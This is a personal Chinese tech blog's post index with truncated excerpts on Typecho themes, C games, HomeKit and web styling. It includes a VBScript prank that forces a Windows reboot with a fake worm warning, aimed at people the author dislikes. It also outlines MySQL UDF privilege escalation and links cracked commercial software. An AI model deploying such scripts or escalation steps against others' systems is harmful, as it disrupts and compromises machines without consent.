2021-01-03 By wibus

TypeScript-Learning-Notes

TypeScript-Learning-NotesNotes about my TypeScript Learning🌯这是什么?这个是我在学习typescript的笔记,将会一直更新,直至学会了😂🎂一起入手Typescript合集https://iucky.cn/posts/code/typescript-1https://iucky.cn/posts/code/typescript-2https://iucky.cn/posts/code/typescript-3https://iucky.cn/posts/code/typescript-4持续更新!!
查看原文

2020-12-27 By wibus

Super Code UI

Super Code UI14 built-in code box stylesTwo seriesJust introduce a CSSThe global general🎂 How To UseDownload Super_Code_UI.css into your serverPut into root dir, and put code into your html:<link rel="stylesheet" href="Super_Code_UI.css">Enjoy!🌯 ExampleMy Typecho-Theme: ...
查看原文

2020-12-06 By wibus

typecho自定义评论列表区域

自定义单条评论的HTML代码在自定义评论前,先设计好单条评论的 HTML 代码结构,如:<li class="comment-body comment-parent comment-odd"> <div> <div class="comment-author"> <img class="avatar" src="avatar.png" alt="" width="40" heigh...
查看原文

2020-11-28 By wibus

C语言实现🪆附庸套娃

描述其实从历史课的时候学到那个分封制:“我的附庸的附庸不是我的附庸”的时候就已经想做这个了,谁知道拖了1个多月,我才开始做😂其实这次要实现的很简单,总体主要要写的就是一个for循环,当然可以写while或者do-while,我这边选择for吧,毕竟比较常见的开始编写首先,我们肯定要引入头文件的#include <stdio.h>基本的main写一下int main(void){ return 0; }哦对,这里有关于一个int main()后面这个括号的一个小学问,在这里先不展开讲~总之就推荐使用int main(void),至于为什么,之后我再写接着我们先定义一个变量a...
查看原文

2020-11-22 By wibus

「恶搞版」为你的评论区加上QQ表情吧~

效果一览[album type="photos"][/album][scode type="blue"]收集不易,编写不易,请大家多多支持~[/scode]添加教程下载恶搞QQ.7z并上传至/usr/themes/handsome/assets/img/emotion/并解压[hide]下载地址:[button color="light" url="https://gitee.com/wibus/blog-assets-goo/raw/master/OwO/qq-e.7z" type=""]DOWNLOAD[/button][/hide]修改/usr/themes/handsome/us...
查看原文

2020-11-08 By wibus

为你的博客加入PWA吧~

前言这次踩了好多坑,有很多篇教程都是一样的,但是又刚刚好似乎是不适配handsome主题,总是出错。之后花了一晚上的时间和我的好朋友 霂森西 _ 櫻玲桉 在研究,陪着我搞了很长的时间,感谢~[scode type="yellow"]有一点请注意:使用PWA后请不要启动handsome插件自带的本地离线缓存功能[/scode]其实这个功能就是我们要弄的PWA(但今天我们不去用它)本文参考了https://lzw.me/a/pwa-service-worker.html你需要注意的Service Worker 特点网站必须使用 HTTPS。除了使用本地开发环境调试时(如域名使用 localh...
查看原文

2020-10-24 By wibus

Wiather - 一款高德天气插件

插件信息插件名称:Wiather作者:Wibus参照项目:AliceStyle插件最新版本:V3.1.0食用方法首先,先去GitHub将代码下载下来,解压后修改文件夹名字为Wiather,启动插件即可但是启动插件后请先进入插件设置界面点击保存设置一次[button color="info" icon="fa fa-github" url="https://github.com/wibus-wee/Typecho-Plugin-Wiather" type=""]GitHub 下载[/button]插件特点[album][/album]插件弹窗样式[album][/album]图标样式自行探...
查看原文

2020-10-18 By wibus

「C语言」28行实现一个2048小游戏

制作视频[tabs][tab name="Bilibili" active="true"]我B站上也有号哒!!快快点个赞吧!!!(如果三连的话,也不是不行,要是这样子的话那我就太爱你啦!)、这个的话就不是本次讲解的代码,是新的2048https://www.bilibili.com/video/BV1tD4y1R7BS/[/tab][tab name="本地"]当然我这里也有一个一模一样的视频啦[vplayer url="https://drive.iucky.cn/t/SG4eDS" pic="https://kyun.ltyuanfang.cn/tc/2020/10/05/e6037...
查看原文

2020-10-17 By wibus

Typecho-Plugin-Live2D

[scode type="blue"]之前爆胎写了一篇博客添加Live2D 看板娘的文章。为了方便大家,直接做成了一个插件[/scode]来自爆胎文章插件相对于Paul的Pio插件,简化了很多,并且自动在手机端隐藏(Live2D在手机端显示在百度站长移动落地检测时会检测为广告,并且有很多手机在启动Live2D后明显卡顿)插件由:Wibus 制作请1.1.0以下用户更新至最新版本,新版本加入了检测更新机制,更加方便!项目地址: 我想收集一下使用人数,所以就评个论啦,感谢支持(❁´ω`❁)[hide]https://github.com/wibus-wee/Typecho-Plugin-Li...
查看原文

2020-10-10 By wibus

VB项目的一个问题

电脑课又开始讲VB了 VB简单来说就是Windows专用的编程语言,但是在VB项目中(之前也有写过一些程序)无法结束进程我发现VB项目在以下命令操作中,是不能结束程序进程的:Exit Sub 和 单纯的关闭窗口很简单就能知道,你在form中写一个load,在load时,加载一首歌,你试试上面两个,都一样不行,只能进任务管理器结束进程还有一个Unload Me,这个是卸载窗体。当程序中最后一个窗体被卸载后,整个程序将自动结束,如果当前窗体不是程序中的最后一个窗体,程序是不会结束的当然有解决办法:EndEndEnd 是强制退出程序用End退出时,Form_Unload事件并不发生,无法执行其...
查看原文

2020-10-06 By wibus

为你的评论区加上新版阿鲁表情吧~

效果一览[album type="photos"][/album][scode type="blue"]收集不易,编写不易,请大家多多支持~[/scode]添加教程从BSDrive进入新版阿鲁文件夹下载ARU.zip并上传至/usr/themes/handsome/assets/img/emotion/[hide]BSDrive下载地址:点击进入[button color="light" url="https://gitee.com/wibus/blog-assets-goo/raw/master/OwO/aru.7z" type=""]BSDrive[/button][/hide]修改...
查看原文

2020-10-05 By wibus

为你的评论区加上QQ表情吧~

效果一览[album type="photos"][/album][scode type="blue"]收集不易,编写不易,请大家多多支持~[/scode]添加教程[scode type="green"]部分表情包由爆胎大佬收集!![/scode][scode type="yellow"]2020.10.5 QQ表情更新至2020版本![/scode]从BSDrive下载QQ.zip并上传至/usr/themes/handsome/assets/img/emotion/[hide]BSDrive下载地址:点击进入[button color="light" url="https://git...
查看原文

2020-10-02 By wibus

Handsome修改导航栏字体

修改步骤添加字体文件进入/usr/themes/handsome/assets/fonts新建一个文件夹,命名为myfont,可以随便设定,记住就行,将字体文件上传到里面。我的导航栏的字体在下面摆出~创建字体css进入/usr/themes/handsome/assets/css创建myfont.css文件,写入以下内容/*下面修改为自己字体的位置名和字体名*/ @font-face{ font-family: 'myfont'; src : url('../fonts/myfont/***.TTF'); }修改header.php进入/usr/themes/handso...
查看原文

2020-10-02 By wibus

「GoLang」切忌在循环中直接使用defer

看下面的例子:for { time.Sleep(time.Second) // ...... conn, err := grpc.Dial(address, grpc.WithInsecure()) if err != nil { log.Fatalf("did not connect: %v", err) } defer conn.Close() //... }由于这是一个死循环,defer代码不会被执行到,所以申请的内存得不到释放,然后会导致程序占满整个内存,死机。 注意这里需要强调的...
查看原文

2020-10-02 By wibus

「插件」Celemony Melodyne Studio (超强音频人声修音插件)

安装步骤按住 control 键点击[安装],再点击打开 ,按提示操作即可自动完成 Celemony Melodyne Studio 破解安装。软件介绍/功能Celemony Melodyne Studio 5 for Mac 是一款非常方便的修音插件,通常是在编曲的时候给音频或人声修音使用,可以作为插件在宿主中使用,也可以作独立应用程序运行。支持 fl studio,logic pro X,live10,studio one 4。可以对音频文件的音调,音准,响度,音量进行调整,功能强大,也可以在混剪鬼畜素材时使用。Melodyne 5 studio 可在无限数量的轨道上进行校正和创作应...
查看原文

2020-10-01 By wibus

系统隐藏桌面所有图标

随着日常使用,我们安装的软件越来越多,桌面上的快捷图标也随之增加。你的桌面是不是塞满了各种文件呢?macOS方法一:复制下面代码到「终端」运行,可以直接隐藏或显示桌面图标及文件,显示桌面defaults write com.apple.finder CreateDesktop -bool true; killall Finder隐藏桌面defaults write com.apple.finder CreateDesktop -bool false; killall Finder方法二:可以下载第三方软件 FreeMyDesktop,通过这款软件也可以实现上面的效果。菜单栏上会有一个圆圈...
查看原文

2020-09-26 By wibus

OLAINDEX 最后一步安装出错

在最后一步php artisan od:install时,出现无此命令[root@localhost ~]# cd /www/wwwroot/drive.iucky.cn [root@localhost drive.iucky.cn]# php artisan od:install There are no commands defined in the "od" namespace.最后翻找了一下目录内的文件,解决方案有了使用composer run install-app安装[root@localhost drive.iucky.cn]# composer...
查看原文

2020-09-19 By wibus

利用C语言实现简单的AI

我们利用五子棋来做本次实验先简单介绍一下五子棋吧五子棋两人对弈的策略型棋类游戏,是博弈游戏中较简单的一种玩法:双方分别使用黑白两色的棋子,轮流在棋盘空白交叉点上着子,先形成五子连线的一方获胜。那很明显的,五子棋的规则、赢法都十分简单。那么我们的AI设计也是相对简单的吗?实现一个五子棋并不难做到,上一篇文章就已经写了,可以调回头去看看~[post cid="166" cover="https://kyun.ltyuanfang.cn/tc/2020/09/13/892f91d4265a0.png"/]但是要实现AI功能的话,那是完全不一样了反复在Google捣鼓代码,企图找到一个合适的方案...
查看原文

2020-09-19 By wibus

「破解」Neural Mix Pro 1.0 中文版

软件介绍[scode type="share"]这是一个提取歌曲伴奏/人声的软件[/scode]Algoriddim Neural Mix Pro 是一款音源分享器,可以帮助您提取任何歌曲的节拍,乐器和人声部分。Neural Mix Pro 由 AI 人工智能算法驱动,是制作人、DJ和歌手必备的音乐编辑应用。您可以创建精确的节拍循环,更改歌曲速度和移调歌曲的 Key,同时实时删除人声、打击乐或和声部分。导出功能使您可以提取原始音质的任何歌曲的阿卡贝拉和乐器,是一款提取歌曲伴奏的神器。使用感受尝试使用了BLACKPINK的歌来当做试验品,个人感觉已经非常好了。无论是鼓、和声还是人声,都削减...
查看原文

2020-09-13 By wibus

利用C语言做个单机五子棋

首先,我们熟悉一下五子棋:两人对弈的策略型棋类游戏,是博弈游戏中较简单的一种玩法:双方分别使用黑白两色的棋子,轮流在棋盘空白交叉点上着子,先形成五子连线的一方获胜。那么,我们就可以开始做了制作过程我们分为如下三个大点头文件&变量sum()初始化 主循环数据处理打印输出头文件&变量我们需要用wasd来控制下子的位置,所以我们引入头文件conio.h 和 stdlib.h#include <stdlib.h> #include <conio.h>经过考虑,我们需要定义如下的一些函数(考虑到单词太长问题,所以我将它简写化了)我们可以修改W棋盘边长来扩大棋盘大小(但是闪烁...
查看原文

2020-09-12 By wibus

FAQ | UTM 闪退/白屏了咋办?

有许多人在UTM群里问到过类似的问题:UTM突然就闪退了、我启动UTM就闪退、我打开UTM白屏了等等,以上的3个问题都有各自的原因1 运行VM虚拟机时突然闪退这种情况较为常见,请前往VM虚拟机设置 -> 系统(有时名字为:CPU与内存)中,按照UTM为内存设定特制的数学计算器重新设置合适的内存,如:我的iPhone在UTM里显示总内存为1024MB,可用内存为934MB,但是在我设置了虚拟机内存后,显示预计使用内存为2048MB*![scode type="red"]这是绝对不可行的![/scode]请将内存调至本机可用内存934MB(上面的例子,不同设备不同的)以下。请注意,必须...
查看原文

2020-09-06 By wibus

「白嫖」GJCDN 国际CDN

一眨眼,又到了我们一年一度的白嫖日 ::ac:010::CDN是什么或许有人并不知道CDN是什么,CDN全称:Content Delivery Network或Content Ddistribute Network,也就是内容分发网络。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上使用CDN的目的解决因分布、带宽、服务器性能带来的访问延迟问题,适用于站点加速、点播、直播等场景。使用户可就近取得所需内容,解决 Internet...
查看原文

2020-08-28 By wibus

利用JavaScript设置 删除 读取Cookie

[scode type="share"]cookie是网站设计者放置在客户端的小文本文件,一般后台语言使用的比较多,可以实现用户个性化的一些需求。[/scode]javascript使用 document.cookie 来操作cookie同一个域名下的页面,共有一个cookie不同的浏览器分别管理自己的cookie,互不影响设置Cookiefunction setCookie(c_name, value, expiredays) { var exdate = new Date(); exdate.setDate(exdate.getD...
查看原文

2020-08-26 By wibus

「MySQL」UDF提权

UDF提权的原理MySQL数据库用户自定义的MySQL函数就叫UDF(User Define Function)提权满足的要求MySQL进程权限是系统权限(Windows下的System,Linux下Root)拥有数据库root账号和密码能够正常连接MySQLWindows下UDF提权Mysql版本 > 5.1寻找插件目录show variables like “%plugin%”;查看数据库版本select version();提权方式准备从Sqlmap的dataudfmysqlwindows32或者64或者从metasploit的/usr/share/metasploit-fr...
查看原文

2020-08-07 By wibus

Ptrace之分析

前言1.在Linux系统中,进程状态除了我们所熟知的TASK_RUNNING,TASK_INTERRUPTIBLE,TASK_STOPPED等,还有一个TASK_TRACED。这表明这个进程处于什么状态?2.strace可以方便的帮助我们记录进程所执行的系统调用,它是如何跟踪到进程执行的?3.gdb是我们调试程序的利器,可以设置断点,单步跟踪程序。它的实现原理又是什么?所有这一切的背后都隐藏着Linux所提供的一个强大的系统调用ptrace().1.ptrace系统调用ptrace系统调从名字上看是用于进程跟踪的,它提供了父进程可以观察和控制其子进程执行的能力,并允许父进程检查和替换子进...
查看原文

2020-08-06 By wibus

关于Handsome7.2.1 表情不解析的问题

无法解析升级7.2.1后我们发现如下的情况:有很多个博客也有这样的情况,于是就找一下handsome的源代码解决方法将7.2.1的 /usr/themes/handsome/libs/Content.php的1780行开始的两行 $emotionPathPrefix = STATIC_PATH . 'img/emotion'; $emotionUrlPrefix = STATIC_PATH . 'img/emotion';改成7.2.0里的 $emotionPathPrefix = THEME_FILE . 'assets/img/emotio...
查看原文

2020-08-04 By wibus

mac本地安装全局包报错npm WARN checkPermissions

前言最近看见了一个比较有趣的项目:docsify于是npm i docsify-cli -g安装,但是出现报错~问题分析终端返回一些错误npm WARN checkPermissions Missing write access to /usr/local/lib/node_modules npm ERR! code EACCES npm ERR! syscall access npm ERR! path /usr/local/lib/node_modules npm ERR! errno -13 npm ERR! Error: EACCES: permission denied, ac...
查看原文

2020-08-03 By wibus

「Handsome」响应式星空背景

[scode type="blue"]建议启动透明模式食用哦~否则会很奇怪😕 [/scode]总共有两种方式,个人建议第一种,第二种就是万不得已就最好不要用1. 引入文件在云盘下载js文件:background_star.js[button color="info" icon="fa fa-cloud-download" url="https://one.iucky.cn" type=""]IuckyCloud JavaScript文件夹[/button]在html底部写入以下代码:<script type="text/javascript" src="...
查看原文

2020-08-03 By wibus

CSS 实现自适应

前言最近开始折腾另一个项目(暂时不透露哈哈哈哈)需要用到自适应布局,于是就探究了一下~实现方法首先得引入CSS3 @media 媒体查询器[scode type="blue"]media的使用和规则:  ①被链接文档将显示在什么设备上。  ②用于为不同的媒介类型规定不同的样式。[/scode]语法: @media 设备名 only (选取条件) not (选取条件) and(设备选取条件),设备二{sRules}实例: /* 这是匹配横屏的状态,横屏时的css代码 */ @media all and (orientation :landscape){}    /* 这是匹配竖屏的状态,竖...
查看原文

2020-08-01 By wibus

Mailer:又一款评论邮件提醒插件

Typecho 的轻量导致某些基础设施缺失,邮件通知就是其中一项。这些年来无数人写了无数的邮件通知插件,其中许多要不是极度臃肿,要不就是年久失修了。我之前在用的插件(CommentToMail)使用队列来保存发信任务,需要外部访问某个触发网址才能一次性发信。之所以不在评论完成时立即发信,是因为发信是耗时操作,会导致前端等待很久。终于,2017 年 11 月 Typecho 开发版中增加了一个异步回调方法,正好用来完成耗时的、但又不需要立即获得结果的任务。Joyqi 使用这个新特性写了一个邮件提醒 Demo,我基于此 Demo 增加了自定义模板以及一些其它细碎功能,调整了发信规则,最终替换...
查看原文

2020-08-01 By wibus

Handsome左侧栏自修改

[scode type="red"]请做好备份![/scode]前置工作建议引入 Font Awesome 图标库,在 主题后台设置 -> 开发者设置 -> 自定义输出 head 头部的 HTML 代码 里面添加下面的代码即可。<link href="https://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">上面的 Font Awesome 的 css 文件来自 BootCDN 提供,你也可以替换成自己的文件。/...
查看原文

2020-08-01 By wibus

「Handsome CSS」头像旋转

这次也是非常纯粹,直接上代码~/*头像旋转*/ .img-circle { border-radius: 80%; animation: light 5s ease-in-out infinite; transition: 0.5s; } .img-circle:hover { transform: scale(1.55) rotate(720deg); } @keyframes light { 0% { box-shadow: 0 0 4px #000000; } 25% { box-shadow:...
查看原文

2020-07-31 By wibus

HomeKit访问服务和特性

服务(HMService)代表了一个配件(accessory)的某个功能和一些具有可读写的特性(HMCharacteristic)。[scode type="yellow"]一个配件可以拥有多项服务,一个服务也可以有很多特性。[/scode]比如一个车库开门器可能拥有一个照明和开关的服务。照明服务可能拥有打开/关闭和调节亮度的特性。用户不能制造智能家电配件和它们的服务-配件制造商会制造配件和它们的服务,但是用户可以改变服务的特性。一些拥有可读写属性的特性代表着某种物理状态,比如,一个恒温器中的当前温度就是一个只可读的值,但是目标温度又是可读写的。苹果预先定义了一些服务和特性的名称,以便让...
查看原文

2020-07-30 By wibus

观察HomeKit数据库的变化

[scode type="blue"]每个Home都有一个HomeKit数据库。如下图所示,HomeKit数据库会安全地和home授权的用户的iOS设备以及潜在的客人的iOS设备进行同步。为了给用户展示当前最新的数据,你的应用需要观察HomeKit数据库的变化。[/scode]HomeKit代理方法HomKit使用代理设计模式(delegation design pattern)来通知应用程序HomeKit对象的改变。👍一般来讲,如果你的应用程序调用了一个带有完成处理参数的HomeKit方法,并且这个方法被成功调用了,那么相关联的代理消息就会被发送给其他HomeKit应用,[scode ...
查看原文

2020-07-30 By wibus

如何为typecho站点设置多个域名

前言typecho后台只能设置一个域名,比如我设置了个 http://iucky.cn,这个域名就是被程序认知的域名,但是呢,这个 http://www.iucky.cn 带www的域名访问我的博客会出现问题,因为程序只认 http://iucky.cn,所以会导致代带www的域名访问无法加载字体文件,那么如何解决这个问题呢?解决方法最初我告诉模板用户的解决方法是让 http://www.iucky.cn重定向到 http://iucky.cn,这样确实解决了问题。但是呢,如何让两个域名同时存在呢?方法一:在 config.inc.php中定义 Helper::options()->...
查看原文

2020-07-29 By wibus

BetterZip 5.0.1 开心版 Mac平台压缩软件

[scode type="blue"]BetterZip是一种多格式压缩器和解压缩器,兼容大多数格式,提供独特的功能,如加密文件的密码管理器,AES-256算法的文件加密和编辑文件而不提取它们。[/scode]使用密码管理器BetterZip,您可以打开受主密钥文件保护的密码。BetterZip将搜索相应的密码。此外,BetterZip生成使用AES-256算法压缩的自己的文件。但最有趣的功能是它允许BetterZip使用外部应用程序(如TextEdit,Photoshop或Office)编辑ZIP或RAR移位的内容,而无需解压缩文件。另一方面,BetterZip还使用OS X的快速查看...
查看原文

2020-07-29 By wibus

创建Homes和添加Accessories

HomeKit对象被保存在一个可以共享的HomeKit数据库里,它可以通过HomeKit框架被多个应用程序访问。所有HomeKit调用的方法都是 异步写入的,并且这些方法都包含一个完成处理后的 参数。如果这个方法处理成功了,你的应用将会在完成处理函数里 更新本地对象。应用程序启动时,HomeKit对象发生改变的并不能收到 代理回调?法,只能 接受处理完成后的回调函数。[scode type="blue"]想要观察其他应用程序启动时HomeKit对象的变化,请参阅:Observing HomeKit Database Changes。查阅 异步消息完成处理后传过来的错误码的信息,请参阅:H...
查看原文

2020-07-28 By wibus

HomeKit创建Home布局

前言[scode type="red"]为了排版😂本文所有参阅内容都将会在结尾摆出~[/scode][scode type="share"]HomeKit 允许用户创建一个或者多个Home布局。每个Home代表一个有网络设备的住所。[/scode][scode type="blue"]用户拥有Home的数据并可通过自己的任何一台iOS设备进行访问。用户也可以和客户共享一个Home,但是客户的权限会有更多限制。被指定为primary home的home默认是Siri指令的对象,并且不能指定home。[/scode]每个Home一般有多个room,并且每个room一般会有多个智能配件。在ho...
查看原文

2020-07-28 By wibus

EmojiHelper - 让Typecho支持emoji插件

解决typecho不支持使用Emoji的问题,其实就是封装sql,要求MySQL5.5.3及以上??插件原理Typecho默认是不支持 emoji 的,这也是因为编码的问题。只需要将数据库的编码 utf8 修改为 utf8mb4 就好了。还有一点,utf8mb4 编码只有在 MySQL5.5.3 以后才支持的。具体原理见:https://get233.com/archives/show-emoji-in-typecho.html我其实就是将数据库语句封装进插件了而已,启动插件再禁用插件,插件既可以扔了哈哈哈哈!插件说明将插件上传到插件目录后,点击启动插件进入引导页面根据提示进行操作即可,...
查看原文

2020-07-27 By wibus

Xcode开发:将项目分配给团队

[scode type="yellow"]为了对你的应用进行代码签名,必须将Xcode项目中的每个目标分配给同一团队。如果你是个人注册,那么你将被视为一个单人团队。如果你不是Apple Developer Program的成员,Xcode将为你创建一个个人团队。[/scode]在项目编辑器中,从“项目/目标”弹出菜单中选择目标。注意:目标具有与项目不同的设置。单击签名和功能。如有必要,请单击“签名”旁边的显示三角形以显示设置。在“签名”下,选择“自动管理签名”。从“团队”弹出菜单中选择你的团队。如果“团队”旁边出现“添加帐户”按钮,请单击它以在“帐户”首选项中添加你的Apple ID帐户...
查看原文

2020-07-27 By wibus

如何启用你的HomeKit?

前言HomeKit应用服务只提供给通过App Store发布的app应用程序。在你的Xcode工程中, HomeKit应用程序需要额外的配置,你的app必须有开发证书和代码签名才能使用HomeKit。[scode type="blue"]不过,在Xcode的Capabilities面板使用HomeKit,可避免代码签名的问题。[/scode]这样的话你就可以无需直接在Xcode或者会员中心编辑授权文件。开发前的设置为了完成开发HomeKit中所有步骤,你需要:一个安装Xcode 6 或者Xcode 6 以上版本的Mac电脑。为了获得最佳体验,你的Mac电脑上最好安装最新的OS X 系统和...
查看原文

2020-07-26 By wibus

HomeKit 特辑开始编写!

前言HomeKit开发特辑开始编写!尽量以较快的速度写完HomeKit专辑旨在帮你编写HomeKit app。HomeKit库是用来沟通和控制家庭自动化配件的,这些家庭自动化配件都支持苹果的HomeKit Accessory Protocol。HomeKit应用程序可让用户发现兼容配件并配置它们。用户可以创建一些action来控制智能配件(例如恒温或者光线强弱),对其进行分组,并且可以通过Siri触发。HomeKit 对象被存储在用户iOS设备的数据库中,并且通过iCloud还可以同步到其他iOS设备。HomeKit支持远程访问智能配件,并支持多个用户设备和多个用户。HomeKit 还对...
查看原文

2020-07-26 By wibus

「ProfileSigner」描述文件签名工具

前言ProfileSigner是一个Python脚本,它将加密和/或签名.mobileconfig配置文件。本工具是为一些博主制作了配置文件但是却发现签名是红色的而开发的目前,这只对存储在密钥链中的证书有效。并且本文是水文,没有任何技术含量项目地址GitHub:https://github.com/wibus-wee/ProfileSigner码云:None😂如何使用./profile_signer.py -h usage: profile_signer.py [-h] [-k KEYCHAIN] -n NAME {sign,encryp...
查看原文

2020-07-25 By wibus

来吧!后浪?

if (!mkReaddata("fool")) { // 如果没有触发过彩蛋 document.body.classList.add('mk-fool-egg'); // 给 body 增加彩蛋 class window.setTimeout(function () { // 定时退出彩蛋 mkSavedata("fool", "fool"); // 记录彩蛋已被执行 alert("恭喜发现愚人节彩蛋 :)"); // 弹窗(这里可以自己发挥) document....
查看原文

2020-07-25 By wibus

[CSS]点进来就会变灰

html {-webkit-filter: grayscale(100%);-moz-filter: grayscale(100%);-ms-filter: grayscale(100%);-o-filter: grayscale(100%);filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);_filter:none;}页面竟然变灰了!是不是有点惊讶?其实这个是利用handsome的!!!代码!!!实现的,当然,你的主题也可以这样子添加,一般只需要压缩代码黏贴即可~实现方法全站:CSS插入html { -we...
查看原文

2020-07-25 By wibus

typecho中插入「自定义内容」

实现方法<iframe src="https://iucky.cn" width="100%" height="650px" frameborder="no" border="0" scrolling="no" marginwidth="0" marginheight="0"></iframe>src="网址"width="100%" height="650px" 百度有解答这是一篇什么文章经过上述讨论, ...
查看原文

2020-07-24 By wibus

给你的博客元素加上抖动效果

效果展示Wibus使用方法首先给需要颤抖元素加上class属性:Pshake<a class="Pshake">Wibus</a> <img class="Pshake" src="https://blog.iucky.cn/xxxx.jpg"> 等等给 Pshake一个 display属性 inline-block,使得元素可以超出父元素颤抖,否则只能原地颤抖。加上 will-change属性,开启GPU渲染加速,防止在低性能设备中造成卡顿。will-change属性可能会造成元素层叠顺序混...
查看原文

2020-07-24 By wibus

使用恶意耳机攻击Nexus 9

前言在2017年3月的Android安全公告中,谷歌发布了CVE-2017-0510的补丁程序,这是我们在Nexus 9中发现的一个严重漏洞,并在几个月前披露了责任。此漏洞具有非常不寻常的攻击媒介–耳机。通过利用此漏洞,我设法泄漏了stack canaries,ASLR进行了随机化处理,进行了出厂重置甚至访问 HBOOT,从而允许通过I与内部系统级芯片(SoC)进行通信背景迈克尔·奥斯曼(Michael Ossmann)和凯尔·奥斯本(Kyle Osborn)在其BlackHat 2013论文中指出,多部手机中存在多路有线功能。他们的研究主要集中在USB插座上。在论文中,他们展示了有关G...
查看原文

2020-07-23 By wibus

handsome左侧栏图标彩色

自定义Javascript和Pjax回调函数添加let leftHeader=document.querySelectorAll("span.nav-icon>svg,span.nav-icon>i");let leftHeaderColorArr=["#FF69B4","#58c7ea","#E066FF","#FF69B4","#FFA54F","#90EE90","#0043ff","#cc00ff&q...
查看原文

2020-07-23 By wibus

通过硬件虚拟化(KVM)在QEMU上加速iOS

前言虽然QEMU最初是作为用于仿真硬件(尤其是主机CPU不支持的体系结构)的平台,但后来的版本获得了使用硬件辅助虚拟化执行代码的能力。由于大多数执行的操作码是直接由CPU执行的,而不是转换为许多模拟原始操作码的本机操作码,因此这可以带来显着的性能优势。使用虚拟化需要支持执行架构的主机CPU。在基于Intel的计算机(例如我们用于在QEMU项目上开发iOS的计算机)上,无法虚拟化x86 / x64以外的体系结构。因此,当在QEMU上运行iOS(arm64 OS)时,我们将使用常规仿真。起初,性能是足够的。但是随着我们在QEMU上执行iOS的努力发展,并且成功启动了操作系统的更多部分,我们开...
查看原文

2020-07-23 By wibus

在QEMU上将TCP连接隧道传输到iOS

前言由于Jonathan Afek的出色工作,可以使用QEMU引导iOS映像。项目的当前状态允许执行任意二进制文件,包括bash(I / O通过模拟串行端口进行)。尽管通过串行外壳控制OS对于PoC非常有用,但我们需要一个更强大的解决方案。控制远程系统时首先想到的是SSH:它允许连接多路复用,文件传输等等。但是,要获得所有这些好处,我们必须与iOS建立TCP连接。而且由于我们的QEMU系统不模拟网卡,因此这被证明是一项艰巨的任务。这篇文章将描述我们开发的解决方案,以实现与模拟iOS系统的通信。复杂的选择在QEMU下运行常规Linux操作系统时,可以将 virt计算机与仿真的网卡一起使用。...
查看原文

2020-07-22 By wibus

一个Windows下的恶作剧脚本

[scode type="red"]使用者请注意!本脚本是对有仇的人使用的!禁止使用于亲朋好友中![/scode][scode type="red"]使用前一定要想好!出事了wibus不负责!![/scode]直接上代码set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c shutdown -r -t 20 -c ""蠕虫病毒释放中"" ",0 ,true set fso = createobject("scripting.filesyste...
查看原文

2020-07-22 By wibus

ZuanGuan——一款二次开发的官网主题

[scode type="share"]鄙人初次开发(虽然不是自己独立编写),但个人觉得还是算是一次大的跃进了,给自己加油[/scode]测试(正式用着的)站点:https://guan.iucky.cn如何使用?git clone https://github.com/wibus-wee/ZuanGuan.git可以用gitee克隆到自己仓库来加速下载~👎 目前缺陷:文件太大,太多无用的东西(将会在下一个版本删除,感谢各位支持)声明:是完全按照 https://zuanmang.net制作的,并且钻芒也已经授权给我进行二次开发::aru:shy::::aru:cheer:: 谢谢钻芒!...
查看原文

2020-07-22 By wibus

Typecho文章添加“百度谷歌是否收录”判断的代码

ZuanGuan主题在开发的时候突发奇想,想要加上检测收录状态的元素。何况看到 wordpress 博客上有自动检测并展示是否被百度谷歌收录的功能,于是就自主研究了一下。[scode type="blue"]注意!谷歌收录需要服务器可以访问(ping)到谷歌,否则请不要添加代码[/scode]直接上代码百度收录function我们去到functions.php中添加下面的代码://百度收录检测 function baidu_record() { $url='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $url2='htt...
查看原文

2020-07-21 By wibus

typecho评论QQ邮箱生成头像地址

最近写ZuanGuan主题,就顺便研究了一下,这个功能其实很早就想过,但是我发现这样会不可避免的修改typecho的内核,那就和网上给出的修改内核实现的QQ头像方案相同了,这是绝对不行的。所以我想到了另一种方案那就是对用户的邮箱进行识别,提取出QQ号,但是对非QQ头像的,则显示Gravatar头像库头像。首先,我准备两个接口下面这两个接口,一个是QQ头像的,一个是Gravatar国内源,它们的调用方式如下。QQ头像 http://q1.qlogo.cn/g?b=qq&nk=QQ号&s=100Gravatar头像 http://cdn.v2ex.com/gravatar/md5加密后的邮箱...
查看原文

2020-07-21 By wibus

恐龙快跑小游戏

这啥玩意?t-rex-runner(恐龙快跑)是谷歌浏览器的彩蛋如何使用?[tabs][tab name="Usual" active="true"]我已经在GitHub上上传了开源项目,点击按钮进入项目浏览页[scode type="share"]有时间也可以去左侧导航栏的「项目」查看我上传的开源项目哦~ ::aru:proud:: [/scode][button color="info" icon="" url="https://github.com/wibus-wee/t-rex-runner" type=""]GitHub[/button][scode type="yellow"...
查看原文

2020-07-20 By wibus

PHP 无限循环

不多说,直接出代码public function random_infinite_cycle(){ $arr =[ 1=>[ 23=>23, 24=>24, 25=>25, 26=>26, ], 2=>[ 13=>13, 14=>14, 15=>15, 16=>16, 33=>33, 35=>35, ], 3=>[...
查看原文

2020-07-19 By wibus

IuckyMagic - A Plugin for handsome

[scode type="green"]一款专属于Handsome的样式魔改插件[/scode]https://blog.iucky.cn/Y-disk/32.html目前版本:V3.0.0作者:Wibus参考插件面板样式、嵌入代码:kirinShiKi参考 神代綺凜食用教程git clone https://github.com/wibus-wee/Typecho-Plugin-IuckyMagic.git将文件夹改名为IuckyMagic并上传至 typecho 的插件usr/plugins目录。登录后台启用IuckyMagic插件即可正确食用。[scode type="blue"]...
查看原文

2020-07-18 By wibus

[持续更新]魔改handsome记录

[scode type="share"]主要面对handsome用户而编写,其他主题/博客用户可以对代码进行改编哦[/scode]插件类[scode type="blue"]本小节为插件推荐[/scode]统计访客信息[collapse status="false" title="Typecho 仿 (?) 百度统计插件"]没错这个插件就是仿百度统计的。插件描述:获取访客信息,生成统计图表,由@一名宅 部分优化重构。博客使用版本:V2.0.2作者: Kokororin现阶段功能:查看 IP/UV/PVip 归属地使用淘宝 API管理员登录时不记录日志查看来源页和来源域名排名修复 Refe...
查看原文

2020-07-18 By wibus

git 忽略 .DS_Store

